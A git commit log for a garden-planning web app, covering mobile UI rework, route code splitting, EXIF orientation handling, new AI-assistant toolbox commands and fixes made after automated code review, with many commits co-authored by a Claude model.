91 Commits
Author SHA1 Message Date
steve cac26286b1 Merge pull request 'Let plop notes be written from the UI (#85 item 5)' (#123) from feat/plop-journal-notes into main
Build image / build-and-push (push) Successful in 13s
2026-07-23 01:42:02 +00:00
steve c432fe9199 Merge pull request 'Agent: add the corrective tools the toolbox was missing (#85 item 3)' (#122) from feat/agent-corrective-tools into main
Build image / build-and-push (push) Successful in 9s
2026-07-23 01:41:38 +00:00
steveandClaude Opus 4.8 f14875557b Address #123 review: viewers can read plop notes; tighten the API
Build image / build-and-push (push) Successful in 11s
- The "add note" affordance no longer hides from viewers (it claimed
  parity with the bed inspector but gated on !readOnly). A viewer now sees
  "📓 Notes about this plant" and can open the plop's journal to read it;
  the composer stays edit-gated, so they can't write. Real parity now.
- onScopePlantingChange is required, matching onScopeChange (its bed twin),
  so a caller can't pass a plop scope with no way to clear it. Dropped the
  now-dead guard on the "Show all" button.
- Pulled the plop-over-bed scope-label priority into one `scopeLabel`,
  shared by the filter's sibling logic and the composer, so they can't
  drift; trimmed the invariant comment that was restated a third time.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-22 21:41:11 -04:00
steveandClaude Opus 4.8 7b150275ae Address #122 review: pageable read_journal, service-clock removal
Build image / build-and-push (push) Successful in 20s
- read_journal now takes an offset, so the hasMore it returns is
  actionable — an agent can page a journal longer than 50 entries.
- remove_planting goes through a new service RemovePlanting that stamps
  removed_at from s.now() (the injectable clock ClearObject and the fill
  path use), instead of the adapter computing the date off the wall clock.
  It delegates to UpdatePlanting, so the role check, version guard and
  history record are unchanged. Drops the now-unused time import.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-22 21:39:20 -04:00
steve 9e227e29eb Merge pull request 'Reclaim mobile chrome: drop the editor's top banner, un-cramp the assistant' (#121) from feat/mobile-space-polish into main
Build image / build-and-push (push) Successful in 20s
2026-07-23 01:32:59 +00:00
steveandClaude Opus 4.8 256fa4f29f Address #121 review: keep sign-out reachable, dvh peek, exact height
Build image / build-and-push (push) Successful in 12s
- Fold the account menu into the editor's mobile strip. Hiding the global
  header removed the only sign-out on mobile in the editor; the strip now
  carries it, so the space win stays but sign-out is one tap away.
- EditorRail peek cap vh → dvh, matching the dvh-bounded editor column, so
  it can't overrun the visible viewport and push the mode bar off-screen.
- Mobile editor height 4rem → 3rem: with the header hidden, only <main>'s
  py-6 (3rem) is outside the editor, so 4rem left ~16px dead. Comment
  corrected.
- Trim two comments that duplicated nearby docs.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-22 21:31:35 -04:00
steveandClaude Opus 4.8 7015148edf Let plop notes be written from the UI (#85 item 5)
Build image / build-and-push (push) Successful in 19s
Gadfly review (reusable) / review (pull_request) Successful in 5m29s
Adversarial Review (Gadfly) / review (pull_request) Successful in 5m30s
journal_entries.planting_id was modelled, accepted by the API, and the
JournalPanel already rendered a "planting" badge for such entries — but
nothing in the UI ever created one. A badge for a state the UI couldn't
produce.

Give the plop the same "add note" affordance the bed inspector has:
- PlopInspector gains an onAddNote button ("📓 Add a note about this
  plant"), shown only to an editor (a viewer can't write notes).
- The editor store gains a journalPlantingId scope beside journalObjectId.
  The two are mutually exclusive — each setter clears the other — so the
  journal filter is never double-scoped.
- JournalPanel filters by plantingId when that scope is set, shows a
  "Notes about one planting · Show all" banner, and its composer attaches
  new notes to the plop. Empty-state copy updated to match.

Two taps from a selected plant to typing, mirroring the bed flow. No
backend change — the API already accepted plantingId.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-22 21:28:12 -04:00
steveandClaude Opus 4.8 887a3c2cc6 Agent: add the corrective tools the toolbox was missing (#85 item 3)
Build image / build-and-push (push) Successful in 6s
Gadfly review (reusable) / review (pull_request) Successful in 10m8s
Adversarial Review (Gadfly) / review (pull_request) Successful in 10m8s
The toolbox could create and move but not delete or resize; write the
journal but not read it; clear a whole bed but not pull one plant; report
seed remaining but not record a purchase. Close those gaps with thin
adapters over the SAME service methods the REST API uses, so they inherit
the permission checks unchanged:

  read_journal    → ListJournal   (the write/read asymmetry, most visible)
  update_object   → UpdateObject  (resize / rotate / rename / plantable)
  delete_object   → DeleteObject  (counterpart to create_object)
  remove_planting → UpdatePlanting (soft-remove ONE plop, like clear does)
  list_seed_lots  → ListSeedLots
  record_seed_lot → CreateSeedLot (record a purchase; "I bought 2 packets")

To address a single plop the agent needs its id + version, so
DescribePlanting now carries both — the same way DescribeObject.Version
already lets it edit an object. remove_planting soft-removes (removed_at =
today), mirroring clear_object, so the plant stays in planting history and
the change is undoable.

Deferred deliberately: an undo/revert tool needs a way to list recent
change sets to get a changeSetId, which is a larger addition; noted on the
issue for a follow-up.

Tested through the tool layer (TestCorrectiveTools): resize, single-plop
removal, journal read-back, seed-lot record+list, and delete.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-22 21:23:46 -04:00
steveandClaude Opus 4.8 ace696467b Reclaim mobile chrome: drop the editor's top banner, un-cramp the assistant
Build image / build-and-push (push) Successful in 23s
Gadfly review (reusable) / review (pull_request) Successful in 11m12s
Adversarial Review (Gadfly) / review (pull_request) Successful in 11m12s
Two mobile complaints, both in the editor/assistant context:

- The global top bar (brand + account) sat above the editor's own
  garden-name strip — a whole banner of pure chrome over a full-screen
  canvas. Hide it on mobile in the editor (the same rationale that hides
  the bottom nav there) and fold a leaf/back affordance into the garden
  strip so there's still a way out. Desktop keeps the header. The editor's
  height band shrinks 8rem → 4rem on mobile to hand that space to the
  canvas; desktop stays 8rem since the header is still there.

- The assistant (and journal/history) rendered inside the rail peek
  capped at max-h-[50vh]; after the tab bar, header and input, messages
  got ~200px. That cap is right for the inspector (read alongside the
  canvas) but not for a mode where reading/typing is the task. Panel
  modes now take a taller slice (78vh) via a `tall` prop; the inspector
  keeps the 50vh peek. Chat message spacing loosened gap-2 → gap-3.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-22 21:13:35 -04:00
steve a72ddefc99 Add "Scan a packet" to the editor's Plants mode
Build image / build-and-push (push) Successful in 7s
Surfaces the seed-packet scan (shipped in #102) inside the editor's Plants mode — a capability-gated "📷 Scan packet" entry in the shared PlantPlacementTools cluster (desktop focus toolbar + mobile strip) and in the mobile pre-focus hint — so a variety can be added mid-planting without leaving the garden. Follow-up to #102 per Steve's deferred design call.

Co-authored-by: Steve Dudenhoeffer <[email protected]>
2026-07-22 17:25:39 +00:00
steve cf37e57808 Seed-packet scan UI: camera/upload → proposal → confirm (#102)
Build image / build-and-push (push) Successful in 6s
Adds the mobile-first UI for the seed-packet capture backend (live since #94): a capability-gated "Scan a packet" entry in the Plants catalog opens a camera/upload → editable proposal → confirm flow that creates a plant (new or matched) + a seed lot. Frontend only. Closes #102 — the last open child of epic #96.

Co-authored-by: Steve Dudenhoeffer <[email protected]>
2026-07-22 17:07:26 +00:00
steve 08d8c5e47d Render the assistant's replies as Markdown (#118)
Build image / build-and-push (push) Successful in 7s
Render assistant chat output as GFM Markdown (tables, lists, code, headings), lazy-loaded so the ~150 KB renderer only ships when an assistant message shows. Hardened per review: no <img> (exfiltration-beacon guard), no raw HTML, error-boundary + stale-chunk recovery around the lazy chunk, GFM column alignment, and memoized parsing.

Co-authored-by: Steve Dudenhoeffer <[email protected]>
2026-07-22 16:42:12 +00:00
steve e7b91de752 Merge pull request 'Touch ergonomics: bigger handles + on-screen nudge pad (#104)' (#117) from feat/touch-ergonomics into main
Build image / build-and-push (push) Successful in 8s
2026-07-22 14:20:24 +00:00
steveandClaude Opus 4.8 b0e11bce17 Address touch review: one coarse-pointer signal + stable nudge callbacks
Build image / build-and-push (push) Successful in 10s
Gadfly on #104:
- The handles keyed off `pointer: coarse` but the NudgePad off `md:hidden`
  (viewport), so a large touchscreen or a narrow mouse window got them
  disagreeing. Extracted one `isCoarsePointer` in shared.ts that both use —
  the pad now shows on a coarse pointer, same as the bigger handles.
- Wrapped commitLater/nudgeSelected in useCallback([]) — stable identity, so
  NudgePad doesn't re-render each parent render, and the mount-once keydown
  effect capturing nudgeSelected is now explicitly safe (a comment spells out
  the refs-only invariant that makes the empty-deps capture correct).
- isCoarsePointer's optional-chained matchMedia keeps it false (mouse
  defaults) under test/SSR, addressing the constants-file testability note.

tsc + build green.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-22 10:19:53 -04:00
steveandClaude Opus 4.8 1323a03acd Touch ergonomics: bigger handles + on-screen nudge pad (#104)
Build image / build-and-push (push) Successful in 10s
Gadfly review (reusable) / review (pull_request) Successful in 10m11s
Adversarial Review (Gadfly) / review (pull_request) Successful in 10m12s
Two touch gaps the audit named:

- Resize/rotate handles were a fixed 12px — fine for a mouse, hard for a
  fingertip. HANDLE_PX is now 22px on a coarse pointer (touch), 12px
  otherwise. Read once at load.
- Fine positioning was keyboard-only (arrow-nudge), which a phone can't
  reach and a drag can't do at single-cm precision. Added an on-screen
  NudgePad — a ↑←→↓ d-pad (~40px targets) shown while something's selected
  on a touch layout (md:hidden).

To share behaviour without duplicating the intricate part, extracted
nudgeSelected(dx, dy) from the keyboard handler — the live-geometry update
+ one debounced PATCH (so a burst of nudges from either surface commits
once) + the plop-bounds clamp. The keyboard handler and the pad both call
it. Verified live: the pad moves a selected bed 1cm/tap on mobile, and the
keyboard arrows still nudge on desktop after the refactor.

(The rail-vs-toast layering the issue also lists was resolved by #101 —
the rail is now an in-flow peek, not a fixed sheet the toast could cover.)

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-22 10:13:23 -04:00
steve 06b887f58e Merge pull request 'Cleanup: ConfirmModal primitive, drop dead PageStub, full-width editor (#107)' (#116) from feat/cleanup into main
Build image / build-and-push (push) Successful in 18s
2026-07-22 14:05:20 +00:00
steveandClaude Opus 4.8 440e43eb78 Address cleanup review: no double error report; guard Leave onConfirm
Build image / build-and-push (push) Successful in 10s
Gadfly on #107:
- ClearBed reported a failure twice — ConfirmModal's inline Alert AND
  useClearObject's own onError toast. Dropped the toast from useClearObject
  (its only caller is that modal now), so the failure shows once, inline in
  the dialog where the action is.
- LeaveGarden's onConfirm silently resolved (closing the dialog as if it
  worked) if me.data was missing, relying on confirmDisabled to prevent it.
  Throw instead, so a drift in that guard surfaces an error rather than a
  fake success.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-22 10:04:49 -04:00
steveandClaude Opus 4.8 9a8382c4a2 Cleanup: ConfirmModal primitive, drop dead PageStub, full-width editor (#107)
Build image / build-and-push (push) Successful in 9s
Gadfly review (reusable) / review (pull_request) Successful in 8m19s
Adversarial Review (Gadfly) / review (pull_request) Successful in 8m19s
Three tidy-ups from the audit's deferred list:

- Extracted a ConfirmModal primitive (message + Cancel/Confirm, owning the
  busy lock + inline error) and folded the five hand-rolled confirm dialogs
  onto it: DeleteGarden, LeaveGarden, DeletePlant, DeleteSeedLot, ClearBed.
  Each is now just its message + mutation + labels. Bonus: ClearBed now
  shows a failure inline instead of swallowing it. (CopyGarden stays on
  Modal — it has a name field, not a plain confirm.)
- Removed components/PageStub.tsx — dead scaffolding, imported nowhere.
- The garden editor was squeezed into the max-w-5xl reading measure the
  other pages use; the canvas routes (editor + public garden) now go
  edge-to-edge on desktop, and the top bar matches so the brand aligns with
  the editor's left edge. Mobile was already full-width, so it's unchanged.

Verified live: the Delete-garden confirm renders/cancels; the desktop editor
now uses the full viewport width. tsc + vitest + build green.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-22 10:00:07 -04:00
steve 09e52a2d41 Merge pull request 'Touch-size the list-card footer actions (#105)' (#115) from feat/responsive-polish into main
Build image / build-and-push (push) Successful in 11s
2026-07-22 13:51:54 +00:00
steveandClaude Opus 4.8 1b4bbf0a06 Address review: drop redundant flex on the plant seed-lot toggle
Build image / build-and-push (push) Successful in 17s
Gadfly on #105: cardActionClass now bakes in `inline-flex items-center`, so
the PlantCard seed-lot toggle's own `flex items-center` conflicted (two
display utilities in one plain-string className). Drop them — keep just
`mr-auto gap-1.5`. Also made cardActions.ts use one consistent concatenation
style instead of mixing concat + template literals.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-22 09:51:21 -04:00
steve 12de25e8f3 Merge pull request 'Non-occluding mobile inspector + always-visible mode bar (#101)' (#114) from feat/mobile-inspector-peek into main
Build image / build-and-push (push) Successful in 6s
2026-07-22 13:49:52 +00:00
steveandClaude Opus 4.8 78ee892b64 Address inspector-peek review: stale docs + selection cleanup
Build image / build-and-push (push) Successful in 10s
Gadfly on #101:
- EditorRail's module doc still described a "fixed 20rem column / bottom
  sheet"; updated to the in-flow peek (desktop column, phone ≤50vh peek
  between canvas and mode bar).
- (correctness) A canvas-mode tap only deselected when railTab was
  'inspector', so a selection made, then routed through Journal/Assistant,
  survived a return to Fixtures/Plants — the canvas kept highlighting it
  with no inspector. Canvas modes now clear the selection unconditionally.
- Dedup: the "closing the inspector deselects" pair lived in both selectMode
  and the rail's onClose; extracted a clearSelection() helper (also used by
  exitFocus) and fixed the now-stale "leave an inspector alone" comment.

tsc + vitest + build green.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-22 09:49:28 -04:00
steveandClaude Opus 4.8 b33bdeb9ff Touch-size the list-card footer actions (#105)
Build image / build-and-push (push) Successful in 19s
Gadfly review (reusable) / review (pull_request) Successful in 3m4s
Adversarial Review (Gadfly) / review (pull_request) Successful in 3m4s
The Share/Copy/Edit/Delete (gardens) and Duplicate/Edit/Delete (plants)
footer actions were a row of ~28px text links — easy to mis-tap on a phone,
the "cramped link row" the issue calls out. Both card types share
cardActionClass/cardDangerClass, so one change fixes both: a ~40px-tall tap
target (min-h + py-2) that reads as a button, not a link. min-h guarantees
the target even for a short label.

Verified at 390px on the gardens list; desktop unaffected (just a slightly
taller footer). tsc + vitest green.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-22 09:46:13 -04:00
steveandClaude Opus 4.8 3b9c9086b6 Non-occluding mobile inspector + always-visible mode bar (#101)
Build image / build-and-push (push) Successful in 16s
Gadfly review (reusable) / review (pull_request) Successful in 7m33s
Adversarial Review (Gadfly) / review (pull_request) Successful in 7m33s
Two things at once, because they're one layout: on a phone, selecting a bed
opened the rail as a bottom sheet that COVERED the whole garden, and opening
Journal/Assistant hid the mode bar until you closed it. You couldn't see what
you were editing, or switch modes without backing out.

Now the rail is an in-flow PEEK. Instead of `fixed bottom-0 max-h-70vh`
overlaying everything, EditorRail on mobile is a ≤50vh flex child the editor
places BETWEEN the canvas and the mode bar:

  canvas (flex-1, shrinks)  →  rail peek (≤50vh)  →  mode bar (always shown)

So the garden stays visible in the top band, the mode bar stays reachable
below, and you can tap another mode straight from an open panel. The
contextual tool strip yields to the peek (gated on !railTab), and tapping a
canvas mode closes the panel (deselecting if it was the inspector).

Desktop is untouched — the same EditorRail is the right-hand column there
(`md:` styles), the mode bar stays `md:hidden`.

Answers Steve's two calls from the end-of-run questions: always-visible mode
bar + non-occluding inspector. Verified live at 390px (inspector + journal
peeks keep the garden and mode bar visible; mode switching works) and 1280px
(desktop unchanged). tsc + vitest + build green; DESIGN updated.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-22 09:40:51 -04:00
steve 1e0bf16a2a Merge pull request 'Route-level code splitting for faster mobile first paint (#106)' (#113) from feat/code-splitting into main
Build image / build-and-push (push) Successful in 17s
2026-07-22 06:18:22 +00:00
steveandClaude Opus 4.8 79df0df53f Address code-split review: chunk-load recovery + tidier lazy + gesture split
Build image / build-and-push (push) Successful in 10s
Gadfly on #106:

- (2 models) React.lazy memoizes a REJECTED import, so after a deploy (every
  main push) a still-open app references chunk hashes the server just
  replaced — the import 404s and RouteError's "Try again" can never recover.
  New lazyPage() helper reloads once on a chunk-load failure to fetch fresh
  hashes (session-flag guarded against a reload loop; cleared on success).
- (perf) @use-gesture is editor-only, but the single vendor chunk pulled it
  into the eager first paint. Exclude it from vendor so it rides with the
  lazy editor chunk (vendor 421→392 KB; the gesture code moved into the
  editor's own chunk). react/react-dom/tanstack still share one vendor chunk
  — splitting react-dom out is what broke React 19 at load.
- (nits) lazyPage also unwraps the named export, so the five route lazies are
  uniform one-liners; moved the lazy block below the import group.

Re-verified live: app mounts, /gardens/1 lazy-loads + renders the editor,
console clean. tsc + build green, no >500 KB warning.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-22 02:17:55 -04:00
steveandClaude Opus 4.8 99798db8f6 Route-level code splitting for faster mobile first paint (#106)
Build image / build-and-push (push) Successful in 9s
Gadfly review (reusable) / review (pull_request) Successful in 6m18s
Adversarial Review (Gadfly) / review (pull_request) Successful in 6m18s
The whole app shipped in one 578 KB chunk, so a phone on cell data
downloaded and parsed everything — the canvas editor, gestures, geometry,
every page — before the login screen could paint.

- Lazy-load the heavy/deep routes via React.lazy: the editor (its
  GardenCanvas + use-gesture + geometry are the biggest surface), the
  public garden view, plants, settings, register. Login and the gardens
  list stay eager (entry points — no fallback flash on landing). AppShell
  wraps <Outlet> in a Suspense boundary.
- One `vendor` manualChunk for all node_modules so the rarely-changing
  libraries cache across app deploys while the tiny app chunk churns.
  Kept as a SINGLE chunk deliberately: splitting react-dom/scheduler into
  their own chunk reorders module init across chunk boundaries and breaks
  React 19 at load ("Cannot set 'Activity' of undefined") — verified that
  failure and backed it out.

Result: app entry chunk 578 KB → 39 KB; vendor 421 KB (cached); the editor
(43 KB) + canvas (17 KB) only download when you open a garden. No more
>500 KB chunk warning.

Verified live against the embedded binary: /gardens loads with only
index+vendor; opening a garden lazy-fetches the editor chunk and renders;
console clean; the embed serves the hashed split chunks + SPA fallback fine.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-22 02:07:50 -04:00
steve 11e8e1a544 Merge pull request 'Plants mode: recent-planted quick strip + clump/rows fill (#100)' (#112) from feat/plants-mode-recent into main
Build image / build-and-push (push) Successful in 11s
2026-07-22 05:58:39 +00:00
steveandClaude Opus 4.8 7297138630 Address review: shared PlantChip + named recent-plants cap
Build image / build-and-push (push) Successful in 17s
Gadfly on #100:
- Extracted the tap-to-arm chip (icon + name + armed state) into a shared
  PlantChip, used by both RecentPlants and SeedTray, so the two quick-pick
  surfaces can't drift. SeedTray composes it (rounded={false}) with its
  remove button into one seamless pill.
- Named the recent-strip cap: RECENT_PLANTS_MAX = 8, was a bare slice(0, 8).

Verified live: recent chips and the tray render identically post-refactor.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-22 01:58:06 -04:00
steveandClaude Opus 4.8 97c8a36bac Plants mode: recent-planted quick strip + clump/rows fill (#100)
Build image / build-and-push (push) Successful in 10s
Gadfly review (reusable) / review (pull_request) Successful in 9m44s
Adversarial Review (Gadfly) / review (pull_request) Successful in 9m44s
Two things Steve asked for, both in the #99 Plants mode:

- A "Recent" strip of the plants most recently planted IN THIS GARDEN
  (recentlyPlantedIds — derived from actual plantings, newest first, unique;
  NOT the manual localStorage tray), as tap-to-arm chips. So re-planting
  "more of the same" is one tap, no picker. Hidden until something's planted.
- A clump/rows fill control (FillControl), shown once a plant is armed:
  pick a layout, "Fill bed", and it runs POST /objects/:id/fill region=all
  with the chosen layout — the #77 grid/clump fill the UI could NOT reach
  before (it was agent/REST only). Defaults to rows (a real planting).
  useFillObject mirrors useClearObject: one request, invalidate /full.

Both live in the shared PlantPlacementTools, so desktop's focus toolbar and
the mobile Plants strip get them identically. Fill is capped/validated
server-side (#95) and covered spots are skipped, so re-filling is safe.

Verified live at 390px: the Recent strip shows this garden's tomato/lettuce/
garlic; arming a chip reveals Clump|Rows + Fill bed; fill fires cleanly.
tsc + vitest (95, incl. recentlyPlantedIds) + build green. DESIGN updated.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-22 01:49:24 -04:00
steve 90af03d597 Merge pull request 'EXIF orientation: bake it in when normalizing images (#103)' (#111) from feat/exif-orientation into main
Build image / build-and-push (push) Successful in 9s
2026-07-22 05:35:46 +00:00
steveandClaude Opus 4.8 8aad2278a0 Address EXIF review: single alloc, no per-pixel boxing, hardened parser
Build image / build-and-push (push) Successful in 8s
Gadfly on #103:

- (4 models) applyOrientation allocated a WxH RGBA then threw it away for a
  quarter-turn to allocate HxW. Compute the output dims once, allocate one
  buffer.
- (perf) The At/Set loop boxed a color.Color per pixel — millions of heap
  allocs on a full-res rotation. Convert to *image.RGBA once (draw.Draw)
  then copy 4 bytes per pixel by offset. No boxing.
- (2 findings) exifOrientation didn't skip 0xFF fill bytes before a marker,
  so a spec-valid padded APP1 would be misread. Skip them.
- (2 findings) orientationFromApp1 read the tag's inline value without
  checking its type/count — a mistyped LONG/offset would be read as a
  bogus SHORT. Require type=SHORT, count=1; also validate the TIFF 0x2A
  magic agrees with the byte order.
- Tests now cover all 8 orientations (added the mirror/transpose cases
  2/4/5/7, the most error-prone switch arms) as t.Run subtests.

All imagenorm tests green; gofmt clean; still CGO_ENABLED=0.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-22 01:35:19 -04:00
steve e9df1f05d8 Merge pull request 'Editor mode model: mobile Fixtures/Plants/Journal/Assistant bar (#99)' (#110) from feat/editor-modes into main
Build image / build-and-push (push) Successful in 20s
2026-07-22 05:32:47 +00:00
steveandClaude Opus 4.8 2d25b7e28e Address editor-mode review: mode↔focus↔rail syncing
Build image / build-and-push (push) Successful in 11s
Gadfly on #99, the real ones — all in the mode/focus/rail interplay:

- (3 models) Closing a journal/assistant rail while a bed was focused
  hard-set mode='fixtures', docking the OBJECT palette inside the focused
  bed with the seed tray unreachable. Derive it: closing a panel returns
  to Plants if still focused, else Fixtures. The canvas-mode effect now
  also follows UN-focus (plants→fixtures) and won't override a panel mode.
- (2 models) Plants mode on a focused non-plantable object (reachable via
  a ?focus= deep link) showed the misleading "tap a bed" hint and no way
  out on mobile. Now it says what's wrong and offers Done (exit focus).
- Selecting an object leaves a panel mode, so closing the inspector can't
  strand the bar on Journal/Assistant with nothing open.
- Tapping Fixtures steps out of a focused bed (you're arranging again).
- Viewer mode bar drops Fixtures/Plants (a viewer can't place anything),
  leaving Journal + Assistant.
- Safety: if the assistant capability flips off live while it's the active
  mode, fall back to a canvas mode and close the orphaned chat rail.

Maintainability: extracted the shared seed-tray + Done + Clear cluster into
PlantPlacementTools (was duplicated between the desktop focus toolbar and
the mobile Plants strip); DEFAULT_MODE const replaces the twice-hardcoded
'fixtures'; selectMode reads the reactive railTab, not getState().

Verified live at 390px: focus a bed → Plants; open journal → close → back
to Plants (tray), not the Fixtures palette; tap Fixtures → exits focus.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-22 01:31:03 -04:00
steveandClaude Opus 4.8 0ab90a01cb EXIF orientation: bake it in when normalizing images (#103)
Build image / build-and-push (push) Successful in 8s
Gadfly review (reusable) / review (pull_request) Successful in 7m8s
Adversarial Review (Gadfly) / review (pull_request) Successful in 7m8s
imagenorm decoded and re-encoded to JPEG but ignored the EXIF Orientation
tag. Phone cameras store the sensor pixels one way and set an EXIF flag to
rotate on display, so a "portrait" JPEG is really a landscape bitmap tagged
"rotate 90°" — and our re-encode strips EXIF, so without baking the rotation
in, a packet photographed in portrait reaches the vision model sideways
(bad OCR) and any future thumbnail is wrong.

- exifOrientation: a small pure-Go parser that walks the JPEG APP1/Exif
  segment for tag 0x0112, returning 1 (normal) for non-JPEG or unparseable
  input — never guess a rotation onto a correct image. No cgo, no new dep.
- applyOrientation: bakes in all 8 orientations (the 4 rotations + mirrors)
  after downscale (cheaper to rotate the small image; a 90° turn swaps the
  sides but not the longest edge, so the downscale bound still holds).
- Non-JPEG paths (HEIC/webp/png) are untouched — their decoders own
  orientation and they carry no JPEG EXIF.

Tests build oriented JPEGs (a corner marker + a spliced Exif APP1) and
assert the marker lands where each orientation says, dims swapping for the
quarter-turns; plus parser defaults for non-JPEG / no-EXIF / garbage.
Stays CGO_ENABLED=0.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-22 01:23:08 -04:00
steveandClaude Opus 4.8 9ec626302b Editor mode model: mobile Fixtures/Plants/Journal/Assistant bar (#99)
Build image / build-and-push (push) Successful in 10s
Gadfly review (reusable) / review (pull_request) Successful in 8m55s
Adversarial Review (Gadfly) / review (pull_request) Successful in 8m56s
On a phone the editor stacked a control column (title, share, season, a
7-chip palette wrapping to 3 rows, journal/history/assistant) ABOVE the
canvas, crushing the garden — the point of the app — into a short strip.
There was no single "mode" switch: fixtures lived in the palette, plants
in a floating focus toolbar, and journal/assistant in the rail.

Mobile-first now (#99): the canvas is the whole screen, and a bottom mode
bar switches the tools docked beneath it —
- Fixtures  → the object palette (arm → tap to place)
- Plants    → the seed tray, once a bed is focused; focusing a bed enters
              this mode. No bed focused → a "tap a bed, then Plant here"
              hint. Done planting / Clear ride along.
- Journal   → opens the journal rail sheet
- Assistant → opens the chat rail sheet (hidden with no model configured)

A slim mobile top strip keeps the garden name / season / share that lived
in the desktop column. Closing a panel rail returns to a canvas mode so
the bar reappears; History stays a rail sub-tab (not a fifth mode).

Desktop is untouched: the mode bar is md:hidden and the side-column layout
stands; `mode` is an inert hint there. Store gains `mode`/`setMode`
(reset with the rest of transient state on garden switch).

Verified live at 390px (each mode + the select-bed → Plant here → seed-tray
flow, canvas now dominant) and 1280px (desktop unchanged). tsc + vitest
(92) + build green. DESIGN.md updated.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-22 01:16:44 -04:00
steve 8a27df9e9c Merge pull request 'Mobile-first app shell: bottom tab nav + slim top bar (#98)' (#109) from feat/mobile-shell into main
Build image / build-and-push (push) Successful in 18s
2026-07-22 05:03:54 +00:00
steveandClaude Opus 4.8 79f03acea8 Address mobile-shell review: logout retry, public-garden bar, class hygiene
Build image / build-and-push (push) Successful in 19s
Gadfly findings on #98:

- Logout failure (4 models): the catch called setOpen(false), closing the
  popover and hiding the only "Retry sign out" affordance — contradicting
  its own comment. Keep the popover open on failure so the retry button
  (driven by logout.isError) stays on screen.
- Public garden (2 models): the bottom-bar suppression missed /g/$token,
  whose PublicGardenPage also renders a 100dvh-8rem canvas — a signed-in
  viewer of a shared link got the bar overlapping it. Suppress there too.
- BottomNav base className carried text-muted, fighting the active
  text-accent-strong and violating the file's own "color only in state
  props" convention (3 models). Moved color entirely to the state props.
- BottomNav sections prop type was a hand-written partial copy of the
  sections shape; derive `Section = (typeof sections)[number]` (2 models).
- Popover open state now resets on route change, so navigating (bottom nav
  or browser back) can't strand an invisible full-screen backdrop.
- Coupled the <main> bottom clearance to BottomNav's height (both 3.5rem /
  h-14, co-located with a note) and switched the template-string className
  to cn().

Verified live: route-change closes the popover with no lingering backdrop.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-22 01:02:06 -04:00
steve 1b11b2bd62 Merge pull request 'Resume the last garden on this device (#97)' (#108) from feat/resume-last-garden into main
Build image / build-and-push (push) Successful in 7s
2026-07-22 04:54:33 +00:00
steveandClaude Opus 4.8 d8003b11fb Address review: key the "gone" message and the bounce off the same query
Build image / build-and-push (push) Successful in 12s
Gadfly (2 models, correctness): the redirect effect checked live.isError
but the rendered "taking you to your gardens…" message read full.error —
which is the SEASON query when viewing a past year. A season-view 404 with
a healthy live garden would then show a redirect promise the effect never
fires, stranding the user.

Derive gardenGone once from the LIVE query (garden existence doesn't depend
on the season viewed) and use it for BOTH the bounce effect and the render
message, so the promise and the redirect can't disagree. Also removes the
duplicated not-found reasoning the maintainability finding flagged.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-22 00:53:43 -04:00
steveandClaude Opus 4.8 9f434a801a Mobile-first app shell: bottom tab nav + slim top bar (#98)
